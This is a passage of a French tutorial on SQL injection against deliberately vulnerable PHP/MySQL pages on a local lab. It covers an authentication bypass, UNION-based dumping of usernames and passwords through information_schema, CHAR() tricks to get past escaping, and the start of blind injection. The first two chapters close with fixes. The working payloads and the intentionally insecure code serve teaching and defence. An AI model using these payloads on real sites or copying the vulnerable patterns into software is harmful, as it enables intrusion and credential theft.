Que20

Zeste de savoir

Les injections SQL : le tutoriel

12 août 2019

Table des matières

Ce tutoriel abordera les injections SQL par le biais de quelques exemples pratiques.

Il est donc souhaitable d'avoir des bases en SQL mais je m'efforcerai d'expliquer les diverses étapes de sorte que, même si vous n'avez pas ces compétences, ce tutoriel vous soit accessible.

> Si vous ne savez pas ce qu'est une injection SQL, vous pouvez lire l'article d'introduction .

> Ce tutoriel est à but pédagogique et n'a pas pour objectif de pousser à l'illégalité. Vous êtes donc responsable de ce que vous ferez de ces compétences. Un petit rappel des lois à ce sujet me semble opportun.
> Un certain adage dans le domaine de la sécurité dit que pour mieux se protéger de son ennemi il faut le connaître et c'est dans cette optique qu'est rédigé ce tutoriel.

> Les exemples qui vont suivre se rapporteront à PHP et à MySQL. Je tiens cependant à préciser que les injections SQL ne dépendent ni du langage de programmation, ni de la base de données utilisée, mais bien du fait de ne pas vérifier les données qui seront insérées dans la requête, ce qui donne la possibilité au pirate de la détourner.

Tous les chapitres fourniront :

— un code source PHP **volontairement vulnérable**
— un exemple d'exploitation de la vulnérabilité

> Pour que ces exemples fonctionnent, il faut avoir installé un serveur web (comprenant le PHP) et le SGBDR MySQL.
> WAMP (pour Windows), MAMP (pour Mac) ou LAMP (pour GNU/Linux) feront très bien l'affaire.

Ceci dit, même si vous testez ce type de faille avec les meilleures intentions du monde, les lois citées dans le lien ci-dessus sont bien d'applications. À vos risques et périls si vous testez ce genre de choses sur des sites ne vous appartenant pas, gardez bien cela en tête ! La sécurité est certes un domaine passionnant, mais il faut être conscient des risques que vous pouvez encourir si vous dépassez les limites. Par contre, s'il s'agit de vos propres projets personnels, là, bien entendu, vous en faites ce que vous voulez (à moins qu'il soit possible de porter plainte contre soi-même mais j'ai du mal à voir l'intérêt...).

En ce qui concerne la base de données, voici la structure que nous utiliserons pour les exercices.

Contenu masqué n°1

Concernant la structure des dossiers, voici ce que j'ai à la racine de mon serveur web.

http://zestedesavoir.com/media/galleries/2661/

Les liens se rapporteront à cette structure. Donc si vous en avez une autre, il est fort probable qu'ils ne marchent pas, à vous d'adapter. ;-)

Contenu masqué

Contenu masqué n°1

```sql
CREATE DATABASE IF NOT EXISTS zds_injections_sql CHARACTER SET
    utf8;

USE zds_injections_sql;

CREATE TABLE IF NOT EXISTS users (
    id INT UNSIGNED NOT NULL AUTO_INCREMENT,
    username VARCHAR(20) NOT NULL,
    password VARCHAR(40) NOT NULL,
    rank TINYINT UNSIGNED NOT NULL DEFAULT 2,
    PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS categories (
    id INT UNSIGNED NOT NULL AUTO_INCREMENT,
    title VARCHAR(100) NOT NULL,
    PRIMARY KEY(id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS articles (
    id INT UNSIGNED NOT NULL AUTO_INCREMENT,
    title VARCHAR(100) NOT NULL,
    date TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
    content TEXT NULL,
    category_id INT UNSIGNED NOT NULL,
    PRIMARY KEY(id),
    FOREIGN KEY(category_id)
    REFERENCES categories(id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;


INSERT INTO users (username, password, rank) VALUES
('admin', 'truc', 1),
```

```
('que20', 'monsupermotdepasseintrouvable', 2),
('clementine', 'orange', 2),
('zds', 'thebestwebsite', 2);

INSERT INTO categories (title) VALUES
('Web'),
('Programmation'),
('Systeme');

INSERT INTO articles (title, content, category_id) VALUES
('Mon premier article !', 'Il est pas génial mon article ? ^_^',
    1),
('Mon second article', 'Et voilà le deuxième !', 1),
('Troisième article', 'Jamais deux sans trois !', 2);
```

Retourner au texte.

Première partie

Les injections SQL classiques

Dans cette partie nous aborderons plusieurs exemples d'exploitations d'injections SQL : bypass de formulaire, récupération de données etc... ;-)

Tous les exemples fourniront un code **volontairement** vulnérable, l'exploitation de ce dernier et finiront bien entendu par la sécurisation de ce code. ;-)

Pour que ces exercices puissent fonctionner, vous aurez besoin d'un serveur web en état de marche comprenant le PHP ainsi que les bases de données MySQL.
WAMP (ou LAMP / MAMP selon votre OS) feront très bien l'affaire mais libre à vous d'en utiliser un autre. ;-)

1. Contournement d'un formulaire d'authentification

Un grand classique que vous pourrez rencontrer sur tout bon site de challenge qui se respecte !

Il s'agit d'un formulaire de connexion, formulaire que voici (pas de commentaires sur le design s'il vous plaît !).

http://zestedesavoir.com/media/galleries/2661/

Vous pouvez le tester en entrant diverses données, erronées ou non – vous avez la liste des noms d'utilisateur et les mots de passe dans la base de données. Oui, je sais, les mots de passe sont en clair et ce n'est « pas bien » mais c'est pour l'exemple, il est clair qu'il vaut toujours mieux les chiffrer.

Nous allons, comme l'indique le titre, tenter de contourner ce formulaire d'authentification sans avoir besoin d'en connaître le nom d'utilisateur et/ou le mot de passe.

Avant toute chose voici le fichier PHP dont vous aurez besoin (que j'ai nommé connexion.php).

```php
<?php
    // code source de connexion.php
    $host = "localhost";
    $user_mysql = "root";    // nom de l'utilisateur MySQL
    $password_mysql = "";    // mot de passe de l'utilisateur MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql,
        $database);

    if(!$db)
    {
        echo "Echec de la connexion\n";
        exit();
    }

    mysqli_set_charset($db, "utf8");
?>
```

```
18
19  <!DOCTYPE>
20  <html>
21      <head>
22          <title></title>
23          <style>
24              input
25              {
26                  display: block;
27              }
28          </style>
29      </head>
30      <body>
31          <h1>Connexion au site d'administration</h1>
32
33          <?php
34          if(!empty($_GET['username']) && !empty($_GET['password']))
35          {
36              $username = $_GET['username'];
37              $password = $_GET['password'];
38
39              $query =
                    "SELECT id, username FROM users WHERE username = '".$username."
40              $rs = mysqli_query($db, $query);
41
42              if(mysqli_num_rows($rs) == 1)
43              {
44                  $user = mysqli_fetch_assoc($rs);
45
46                  echo
                        "Bienvenue ".htmlspecialchars($user['username']);
47              }
48              else
49              {
50                  echo
                        "Mauvais nom d'utilisateur et/ou mot de passe !";
51              }
52
53              mysqli_free_result($rs);
54              mysqli_close($db);
55          }
56          ?>
57
58          <form action="connexion.php" method="GET">
59              <b>Nom d'utilisateur :</b> <input type="text"
                    name="username"/>
60              <b>Mot de passe :</b> <input type="text"
                    name="password" />
61              <input type="submit" value="Connexion" />
62          </form>
```

```
63      </body>
64  </html>
```

Listing 1 – Contenu de `connexion.php`

1.1. Exploitation

Passons maintenant à la partie intéressante : l'exploitation !
Entrons des données au hasard.
http ://localhost/zds/injections_sql/connexion.php ?username=foo&password=bar
Ce qui donne la requête suivante.

```
1  SELECT id, username FROM users WHERE username = 'foo' AND password
       = 'bar'
```

http://zestedesavoir.com/media/galleries/2661/

Bon on s'y attendait un peu, si ça avait marché je pense que ç'aurait été le bon moment pour jouer au Loto vu notre chance !
Maintenant, nous allons supposer dans notre cas que nous connaissons le nom d'utilisateur mais pas le mot de passe.
Ré-entrons un mot de passe avec le bon nom d'utilisateur.
http ://localhost/zds/injections_sql/connexion.php ?username=admin&password=bar

```
1  SELECT id, username FROM users WHERE username = 'admin' AND
       password = 'bar'
```

Toujours rien.
Dans notre cas, on pourrait faire une injection pour trouver le bon mot de passe, mais nous allons faire mieux : se passer du mot de passe ! Oui, ça parait dingue, mais c'est tout à fait possible dans cet exemple. ;-)
Nous allons transformer la requête initiale pour non plus lui faire dire « il faut le bon nom d'utilisateur ET le bon mot de passe » mais simplement « il faut le bon nom d'utilisateur ».
Comment faire cela ? C'est tout simple : nous allons placer toute la partie concernant le mot de passe en... commentaire. Résultat : cette condition-là ne sera plus du tout prise en compte, seul le nom d'utilisateur le sera, et comme c'est le bon... ;-)
Dans le cas de MySQL, le caractère pour commenter une ligne est `#`. C'est le moment de vérité : testons !
http ://localhost/zds/injections_sql/connexion.php ?username=admin'%23&password=test

Notre requête SQL va ressembler à cela.

```
SELECT id, username FROM users WHERE username =
    'admin'#' AND password = 'test'
```

Ce qui correspond en fait à ceci (tout ce qui sera après le `#` sera ignoré).

```
SELECT id, username FROM users WHERE username = 'admin'
```

Le `#` a été encodé dans l'URL en %23 afin d'éviter que le navigateur ne le prenne comme une ancre. ;-)

http://zestedesavoir.com/media/galleries/2661/

BINGOOOOOOOO ! Nous voici connecté en tant qu'admin alors que nous ne connaissons toujours pas le mot de passe (et à vrai dire on s'en fiche...).

1.2. Sécurisation

Notre coupable, ou plutôt nos coupables, ce sont ces 2 lignes :

```
<?php
$username = $_GET['username'];
$password = $_GET['password'];
?>
```

Je tiens à préciser que ce n'est pas la manière de récupérer les données qui est en cause, mais bien le fait qu'il n'y a aucune vérification ou traitement sur ces données.
J'utilise `$_GET` par souci de facilité, mais le problème aurait été exactement le même si j'avais utilisé `$_POST`, `$_COOKIE` ou autre chose.

Si nous souhaitons sécuriser cela, il y a plusieurs façons de faire.
On peut utiliser l'**échappement des chaînes de caractères**.

```
<?php
// $db correspond à la connexion à la base de données (voir
    mysqli_connect)
$username = mysqli_real_escape_string($db, $_GET['username']);
$password = mysqli_real_escape_string($db, $_GET['password']);
?>
```

mysqli_real_escape_string va ajouter un `\` devant certains caractères comme par exemple `'` ou `"`. Cela aura pour conséquence de faire du caractère un caractère neutre. Ce qui veut dire que si le caractère avait un comportement spécial, ce qui est le cas des guillemets (ouverture/fermeture de chaîne de caractère), et bien, après échappement, il sera considéré comme simple caractère et son comportement « spécial » aura disparu. On pourra alors introduire tous les `'` ou `"` que l'on veut, aucun ne fermera la chaîne car tous seront « échappés ».
On peut aussi utiliser **les requêtes préparées** et les fonctionnalités qu'elles offrent.

```php
<?php
$query = $db-
    >prepare("SELECT id, username FROM users WHERE username = ':username' AND p
$query->bindParam(':username', $username, PDO::PARAM_STR);
$query->bindParam(':password', $password, PDO::PARAM_STR);
$query->execute();
?>
```

Le langage PHP possède, depuis la version 5.1, une extension définissant l'interface pour accéder à la base de données : PDO . C'est PDO qui s'occupera de traiter la donnée (selon le type indiqué : chaîne de caractères, entier...) afin de gérer l'échappement si nécessaire. Si aucun type n'est défini, PDO traite, par défaut, la donnée comme une chaîne de caractères (impliquant donc un échappement). C'est une des fonctionnalités de la préparation de requête.

Cet exemple, qui est un grand classique, montre bien qu'on peut détourner le comportement d'une application et qu'un mot de passe, même très compliqué, ne sert plus à grand chose si l'on est capable de s'en passer totalement. ;-)
Mais ça ne s'arrête pas là ! Dans la prochaine partie nous allons voir comment récupérer des données provenant de la base de données et auxquelles nous ne sommes, logiquement, pas autorisé à accéder.

2. Affichage d'enregistrements

Notre objectif, si nous l'acceptons, sera d'afficher la liste des utilisateurs ainsi que leur mot de passe.
Voici le fichier dont vous aurez besoin pour cette partie :

```php
<?php
    // code source de articles.php
    $host = "localhost";
    $user_mysql = "root";                // nom d'utilisateur de l'utilisateur de MySQL
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE>
<html>
    <head>
        <title></title>
    </head>
    <body>
        <?php
            if(!empty($_GET['category']))
            {
                $category = mysqli_real_escape_string($db, $_GET['category']);
                $query = "SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FR
                $rs_articles = mysqli_query($db, $query);

                echo "<u>\n";

                if(mysqli_num_rows($rs_articles) > 0)
                {
                    while($r = mysqli_fetch_assoc($rs_articles))
                    {
                        echo "<li><a href=\"#\">".htmlspecialchars($r['title'])
                    }
```

```
33                  }
34
35                  echo "</u>\n";
36              }
37          ?>
38      </body>
39  </html>
```

Listing 2 – Contenu de `articles.php`

Ce code affiche les articles de la catégorie transmise par la variable `category` présente dans l'URL.

2.1. Exploitation

2.1.0.1. Détecter la possibilité d'injection

Le but, ici, est de parvenir à afficher des données provenant d'une autre table (voir d'une autre base de données présente sur le même serveur).
Commençons déjà par vérifier si une injection est possible.
Ici, nous avons le cas d'un ID certes échappé, mais qui n'est pas considéré comme une chaîne de caractères : il n'y a alors pas besoin de chercher à fermer cette chaîne, donc tout ce qui suit cet ID sera interprété comme du code SQL par le SGBD. Nous pouvons donc bien injecter du code SQL, la seule contrainte étant de ne pas utiliser de guillemet dans l'injection car celui-ci serait échappé.
Pour s'en assurer, un exemple très simple est d'effectuer une simple opération arithmétique.
http ://localhost/zds/injections_sql/articles.php ?category=2-1

```
1  SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM
       articles WHERE category_id = 2-1
```

http://zestedesavoir.com/media/galleries/2661/

Comme nous le constatons, les articles affichés viennent de la catégorie 1 car 2-1 = 1. Cela signifie que notre opération a été prise en compte, ce qui n'aurait pas été le cas si cela avait été une chaîne de caractères (un `AND 1=1` suivi d'un `AND 1=2` marcheraient aussi, il y a énormément de façons de détecter si l'injection est possible).

2.1.0.2. Effectuer une seconde requête et joindre les résultats

Notre objectif est donc d'afficher des données provenant d'autres tables (que pour l'instant nous ne connaissons pas !).
Pour parvenir à cela, nous allons utiliser un concept permettant de mettre ensemble des résultats de 2 requêtes différentes : UNION .

Il y a, par contre, une condition capitale pour qu'on puisse utiliser cette fonctionnalité : les 2 requêtes **doivent** renvoyer le même nombre de champs, mais ce détail n'est absolument pas un problème comme nous allons le voir. ;-)

2.1.0.3. Trouver le nombre de champs

La première chose à faire est donc de déterminer le nombre de champs que la requête renvoie (car nous ne connaissons pas la structure de la requête). Pour ce faire nous utiliserons ORDER BY .
ORDER BY permet de trier le résultat en précisant le(s) champ(s) ainsi que l'ordre (croissant ou décroissant). Mais ORDER BY peut également trier en se référant à la position du champ dans la requête. Si ce champ n'existe pas, la requête renverra une erreur et c'est exactement de cette manière que nous pouvons déterminer le nombre de champs : tant que le ORDER BY ne renvoie pas d'erreur, nous savons qu'il y a au moins X champs.
Dans notre cas testons avec 2 champs.
[http ://localhost/zds/injections_sql/articles.php ?category=1 ORDER BY 2](localhost/zds/injections_sql/articles.php ?category=1 ORDER BY 2)

```
1 SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM
      articles WHERE category_id = 1 ORDER BY 2
```

http://zestedesavoir.com/media/galleries/2661/

Nous obtenons bien notre liste d'articles donc la requête renvoie au moins 2 champs.
Testons avec 3.
[http ://localhost/zds/injections_sql/articles.php ?category=1 ORDER BY 3](localhost/zds/injections_sql/articles.php ?category=1 ORDER BY 3)

http://zestedesavoir.com/media/galleries/2661/

Même chose, donc il y a au moins 3 champs.
Avec 4 maintenant : [http ://localhost/zds/injections_sql/articles.php ?category=1 ORDER BY 4](localhost/zds/injections_sql/articles.php ?category=1 ORDER BY 4)

http://zestedesavoir.com/media/galleries/2661/

Ah, une erreur ! Il y a au moins 3 champs mais pas 4 : on peut en déduire que le nombre de champs renvoyés est de 3. Il faut donc que la requête que nous ferons après le mot UNION comporte très exactement 3 champs.
Testons pour être sûr.
http ://localhost/zds/injections_sql/articles.php ?category=1 UNION SELECT 1, 2, 3

```
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date
FROM articles
WHERE category_id = 1
UNION
SELECT 1, 2, 3
```

http://zestedesavoir.com/media/galleries/2661/

Peut être vous demanderez-vous ce que sont que ces valeurs 1, 2 et 3. Il faut comprendre que le nom du champ n'est qu'un raccourci pour dire : « Sélectionne la valeur contenue dans ce champ pointé par ce nom. », mais qu'on peut très bien directement dire « Sélectionne telle valeur. » sans devoir forcément passer par le nom du champ. La seule contrainte est que, si c'est une chaîne de caractères, nous devons la placer entre guillemets, sinon vous obtiendrez une erreur comme quoi le champ est introuvable. Malheureusement, dans notre cas, je vous rappelle que l'ID est échappé : utiliser une chaîne de caractère revient à utiliser des guillemets qui seront échappés et qui feront, par conséquent, échouer notre requête (même si nous verrons plus tard qu'on peut contourner ce problème malgré tout). Il faut donc trouver un moyen de s'en passer. Il se trouve qu'il y en a un, et que celui-ci est simple : on peut également sélectionner un nombre quelconque... et un nombre n'a pas besoin de guillemets !
Le dernier affichage devrait vous interpeller : en fait il s'agit du résultat de notre seconde requête qui ne fait que sélectionner 3 valeurs : 1, 2 et 3. En voyant les nombres affichés, on peut en déduire que la page affiche les champs situés aux seconde et troisième positions (je précise que le nombre et la position de la valeur dans la requête n'ont aucun lien, j'aurais très bien pu utiliser 43, 87, 562 comme nombres).

2.1.0.4. Trouver la base de donnée utilisée

Maintenant il nous faudrait savoir ce que nous voulons afficher. On peut tenter de deviner le nom d'une table mais cela est beaucoup trop hasardeux. L'idéal serait de connaître la liste des tables. Et devinez quoi ? C'est tout à fait possible !
Si vous avez déjà géré des bases de données, vous avez probablement remarqué qu'il y en a une nommée **information_schema**. Cette base de données contient, en fait, toutes les informations relatives aux « structures » (aussi appelées « schémas ») des autres bases. Et qui dit schéma dit noms des tables et des champs qu'elles contiennent !;-)
Seulement, si nous demandons la liste des tables, information_schema va nous renvoyer la liste des tables... de toutes les bases de données. Ca fait un peu beaucoup ! Pour bien faire, il faudrait

ne renvoyer que les tables de la base de données actuellement utilisée (dont on ignore toujours le nom). Pas de problème : database() nous renvoie justement cette information.
Pour connaître la base de données actuellement utilisée, nous pouvons faire la requête suivante : http ://localhost/zds/injections_sql/articles.php ?category=-1 UNION SELECT 1, database(), 3.

```
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date
FROM articles
WHERE category_id = -1
UNION
SELECT 1, database(), 3
```

http://zestedesavoir.com/media/galleries/2661/

Hé mais, ce ne serait pas le nom de notre base de données par hasard ?

Je ne sais pas si vous l'avez remarqué mais c'est bien `category=-1`. Le but est de n'obtenir aucun résultat pour la première requête afin de n'avoir au final que les résultats concernant la requête que nous injectons et pas un mélange des 2.
Ça ne serait pas faux d'avoir ce mélange, mais ça serait juste beaucoup moins lisible, surtout si la liste des articles était très longue.

2.1.0.5. Trouver la liste des tables

Bon, nous connaissons la base de données actuelle, mais nous, on veut afficher des champs d'une table... dont on ne connaît pas (encore) le nom. C'est ce que nous allons rechercher maintenant : le nom des tables. Et c'est là que notre fameuse base de données **`information_schema`** entre en jeu !
La table `TABLES` (j'y peux rien, c'est son nom) de la base de données `information_schema` contient la liste des tables utilisées par l'ensemble des autres base de données. Un champ nommé `TABLE_SCHEMA` précise à quelle base de données se rapporte la table. Nous allons donc sélectionner toutes les tables dont le champ `TABLE_SCHEMA` est égal à `zds_sql_injections` (sinon on obtiendrait la liste de toutes les tables de toutes les bases de données).
Mais il y a un pépin : zds_sql_injections c'est une chaîne de caractères et notre ID... est échappé. Pourtant il faudra bien rentrer cette chaîne, plus question ici de rentrer un nombre.
Eh bien vous savez quoi ? Là aussi, il y a une solution !
Le SQL regorge de fonctions diverses et variées et certaines vont nous être très utile pour régler notre petit soucis, comme par exemple la fonction `CHAR()` qui permet de retourner le(s) caractère(s) correspondant(s) au(x) nombre(s) qu'on lui fournit (vous pouvez retrouver ces nombres dans la colonne décimale d'une table ASCII). Notez que ce n'est pas le seul moyen d'introduire une chaîne sans avoir recours à des guillemets, nous en verrons un autre dans les prochains chapitres.

Cette requête ci : http ://localhost/zds/injections_sql/articles.php ?category=-1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA = CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108).

```
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date
FROM articles
WHERE category_id = -1
UNION
SELECT 1, TABLE_NAME, 3
FROM information_schema.TABLES
WHERE TABLE_SCHEMA =
    CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108)
```

est tout à fait équivalente à celle-ci : http ://localhost/zds/injections_sql/articles.php ?category=-1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'zds_injections_sql'.

```
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date
FROM articles
WHERE category_id = -1
UNION
SELECT 1, TABLE_NAME, 3
FROM information_schema.TABLES
WHERE TABLE_SCHEMA = 'zds_injections_sql'
```

La première n'utilisant aucun guillemet, elle outrepasse sans problème l'échappement !

http://zestedesavoir.com/media/galleries/2661/

Voilà : nous avons notre liste de tables !

2.1.0.6. La liste des champs d'une table

Nous ne sommes vraiment plus très loin de notre objectif, il ne nous reste qu'une dernière chose à connaître : la liste des champs de la table qui va nous intéresser (dans notre cas : la table `users`) parce que c'est bien beau d'afficher des nombres. Mais nous, ce que nous voulons surtout, c'est afficher la valeur des champs qu'on estimerait « sensibles » (dans cet exemple : les nom d'utilisateur et mots de passe).
Pour ce faire, nous utiliserons le même principe que ci-dessus mais sur la tables `COLUMNS` qui,

comme son nom l'indique, liste tous les champs (aussi appelés « colonnes ») de toutes les tables.
3 champs sont intéressants :

- `COLUMN_NAME` qui désigne le nom du champ.
- `TABLE_SCHEMA` qui désigne le nom de la base de données.
- `TABLE_NAME` pour le nom de la table (car il peut y avoir une table portant le même nom dans 2 bases de données différentes).

Notre requête demandera donc d'afficher le nom des champs (contenus eux même dans un champ !) où `TABLE_SCHEMA` sera égal à `zds_injections_sql` et où `TABLE_NAME` sera égal à **users**. Le tout sera passé via la fonction `CHAR()` pour éviter de devoir utiliser des guillemets.
Ce qui donnera ceci :
http ://localhost/zds/injections_sql/articles.php ?category=-1 UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108) AND TABLE_NAME = CHAR(117,115,101,114,115)

```sql
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date
FROM articles
WHERE category_id = -1
UNION
SELECT 1, COLUMN_NAME, 3
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA =
    CHAR(122,100,115,95,105,110,106,101,99,116,105,111,110,115,95,115,113,108)
AND TABLE_NAME = CHAR(117,115,101,114,115)
```

http://zestedesavoir.com/media/galleries/2661/

L'adrénaline devrait commencer à monter !

2.1.0.7. Le bouquet final : l'affichage des utilisateurs

On connaît la table, on connaît les noms des champs, le nombre de champs à utiliser dans la seconde requête : je pense qu'il est enfin temps d'achever cette exploitation.
Comme 2 champs sont affichés, autant en profiter pour demander l'affichage du nom d'utilisateur et du mot de passe. Mais même si nous n'en n'avions qu'un seul, nous aurions pu utiliser une fonction comme `CONCAT()`, qui permet de concaténer en un seul champ plusieurs données (je vous l'ai dit, le SQL regorge de fonctions !).
Notre requête finale sera :

http ://localhost/zds/injections_sql/articles.php ?category=-1 UNION SELECT 1, username, password FROM users

```sql
SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date
FROM articles
WHERE category_id = -1
UNION
SELECT 1, username, password
FROM users
```

http://zestedesavoir.com/media/galleries/2661/

Jackpot !

2.2. Sécurisation

C'était marrant sur ce site bidon, mais ça l'est beaucoup moins quand ce genre de choses arrive sur votre propre site. À noter également que ce type d'injection peut être une porte ouverte vers d'autres failles (on pourrait tout à fait, par exemple, demander d'afficher du code JavaScript au lieu de données provenant de la base de données, code qui serait interprété par le navigateur et on aurait alors droit à une jolie faille XSS). Les possibilités sont très nombreuses et nous en aborderons une dans un prochain chapitre.
Le problème ici c'est que nous ne faisons aucune vérification sur la variable `category`. Enfin, si : on l'échappe, certes, mais vu que nous l'utilisons comme un nombre dans notre requête, l'échappement ne nous en protège absolument pas.
Pour réellement éviter on peut, par exemple, vérifier que cette variable est bien un nombre. Des fonctions telles que ctype_digit permettent cela. `ctype_digit` vérifie que chaque caractère est bien un chiffre.
Ce qui donnerait ceci :

```php
<?php
if(ctype_digit($_GET['category']))
{
        // L'ID est bien un nombre : on peut faire notre requête
}
else
{
        // L'ID n'est pas un nombre : on affiche un message
            d'erreur
}
?>
```

`is_numeric` vérifie aussi qu'il s'agit d'un nombre, mais accepte d'autres notations que le décimal.

On peut aussi traiter notre ID comme une chaîne de caractères dans la requête (apparemment, possible uniquement sous MySQL) : le pirate se verra alors obligé de fermer cette chaîne s'il veut que ça soit interprété comme du SQL... mais vu que notre ID est échappé, ça lui sera impossible. ;-)

```
1 <?php
2 $category = mysqli_real_escape_string($db, $_GET['category']);
3 $query =
      "SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM articles WHE
4 ?>
```

ou si vous utilisez la préparation de requête (ce que je recommande) :
Exemple avec PDO :

```
1 <?php
2 $category = $_GET['category'];
3 $query = $db-
      >prepare("SELECT id, title, DATE_FORMAT(date, '%d/%m/%Y') AS date FROM art
4 $query->bindParam(':id', $category, PDO::PARAM_INT);
5 $query->execute();
6 ?>
```

Essayez de nouveau les différentes injections, vous verrez que ça ne fonctionne plus. ;-)

Les chapitres suivants ne comporteront pas, sauf nouveauté, de partie « Sécurisation » afin d'éviter une redondance des propos. Il n'empêche que ce que nous venons de voir (préparation des requêtes, échappement des chaînes de caractères, vérification du type, etc...) reste, bien entendu, d'application pour la suite.

Cet exemple est également un cas classique et montre qu'on peut tout à fait extirper des données qui ne devrait logiquement pas être affichées.
De plus, dans ce cas, nous avions un « semblant » de protection... qui en réalité était tout à fait contournable et ne protégeait, au final, rien du tout. ;-)

Deuxième partie

Les injections SQL en aveugle

Dans la précédente partie, nous avons vu un certain type d'injection SQL : celui où les données sont directement affichées. Cependant ce n'est pas toujours le cas. Alors comment peut-on récupérer des données si nous ne pouvons les voir ?
Cela parait impossible, et pourtant c'est tout à fait faisable !;-)
Ces méthodes sont généralement connues sous le nom de « **Blind SQL Injection** » ou « **Total Blind SQL Injection** ».

3. Blind SQL Injection

Une Blind SQL Injection (ou *injection SQL en aveugle* en français), c'est un peu un jeu de devinettes : la personne que vous interrogez ne peut répondre que par oui ou non. Il faudrait donc un certain nombre de questions avant de tomber sur l'information que vous souhaiteriez, contrairement à une requête « classique » qui nous retournerait directement le résultat.
Voici le fichier PHP qui nous servira pour cet exercice :

```php
<?php
    // code source de user.php
    $host = "localhost";
    $user_mysql = "root";     // nom d'utilisateur de l'utilisateur de MySQL
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE html>
<html lang="fr">
    <head>
        <title></title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <?php
            if(!empty($_GET['id']))
            {
                $id = mysqli_real_escape_string($db, $_GET['id']);
                $query =
                    "SELECT id, username FROM users WHERE id = ".$id;
                $rs_article = mysqli_query($db, $query);

                if(mysqli_num_rows($rs_article) == 1)
                {
                    echo "<p>Utilisateur existant.</p>";
                }
                else
                {
                    echo "<p>Utilisateur inexistant.</p>";
```

```
33                  }
34              }
35          ?>
36      </body>
37  </html>
```

Listing 3 – Contenu de `user.php`

Commençons !

3.1. Exploitation

Ce bout de code vérifie si un utilisateur correspondant à l'ID entré en paramètre existe ou non. Le site nous dit juste « Utilisateur existant. » ou « Utilisateur inexistant. » mais, à aucun moment, les informations de cet utilisateur ne sont affichées. C'est, typiquement, le genre de script qui est, par exemple, utilisé lors d'une inscription : si le pseudo est déjà utilisé, un message d'erreur est affiché, sinon on accepte l'inscription.
Dans notre cas, nous pouvons déjà déduire 2 choses :

- si le message « Utilisateur existant. » apparaît, c'est que la requête a renvoyé un résultat.
- si le message « Utilisateur inexistant. » apparaît, c'est que la requête n'a pas renvoyé de résultat.

Ces deux messages sont tout ce dont nous avons besoin pour mener à bien notre exploitation ! Hé oui, car nous pouvons tout à fait savoir quand la requête retourne un résultat positif (ce qui correspond à un « oui ») et quand la requête retourne un résultat négatif (ce qui correspond à un « non »).
Pour trouver notre information, nous procéderons par force brute, et plus précisément par force brute « efficiente » (efficacité au moindre coût si vous préférez) !
La force brute « pure », c'est tester toutes les combinaisons en demandant « si c'est égal à », la force brute efficiente (ce que SQL nous permet de faire) c'est de demander si la chaîne recherchée « commence par » ou encore « si la n^e lettre est » : on ne teste pas l'ensemble mais une partie de cet ensemble, ce qui réduit considérablement le nombre de requêtes a effectuer.
Un petit calcul pour nous rendre compte de la différence entre les deux méthodes (nous connaissons la longueur du mot de passe et nous savons qu'il n'y a que des lettres minuscules).

- Par force brute « pure » : 456976 essais, au maximum, pour trouver le mot de passe (26^4).
- Par force brute « efficiente » : 104 essais, au maximum, pour trouver le mot de passe ($26 + 26 + 26 + 26$).

Passons à la pratique.

> Pour faciliter les choses, nous supposerons que nous connaissons la table, les champs ainsi que l'ID de l'admin.

Comme nous allons faire une UNION de 2 requêtes il faut être sûr que la première ne renverra aucun résultat : un ID négatif devrait faire l'affaire. Ensuite nous allons préciser, dans notre seconde requête, une condition qui va nous permettre de voir ce qui se produit quand la seconde requête retourne ou non un résultat.
Requête qui retourne un résultat (car 1 est égal à 1).
[http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users

WHERE 1=1](http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE 1=1)

```
1 SELECT id, username FROM users WHERE id = -1 UNION SELECT 1,2 FROM
      users WHERE 1=1
```

http://zestedesavoir.com/media/galleries/2661/

Requête qui ne retourne aucun résultat (car 1 n'est pas égal à 2).
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE 1=2

http://zestedesavoir.com/media/galleries/2661/

Nous sélectionnons ensuite l'admin (ce dernier possède l'ID 1).
http ://localhost/zds/injections_sql/user.php ?id=-1 UNION SELECT 1,2 FROM users WHERE id = 1

```
1 SELECT id, username FROM users WHERE id = -1 UNION SELECT 1,2 FROM
      users WHERE id = 1
```

http://zestedesavoir.com/media/galleries/2661/

3.1.0.1. Trouver la longueur du champ

Premièrement il nous faut connaître la longueur du mot de passe. On peut calculer la longueur d'une chaîne de caractère en utilisant la fonction CHAR_LENGTH de SQL.
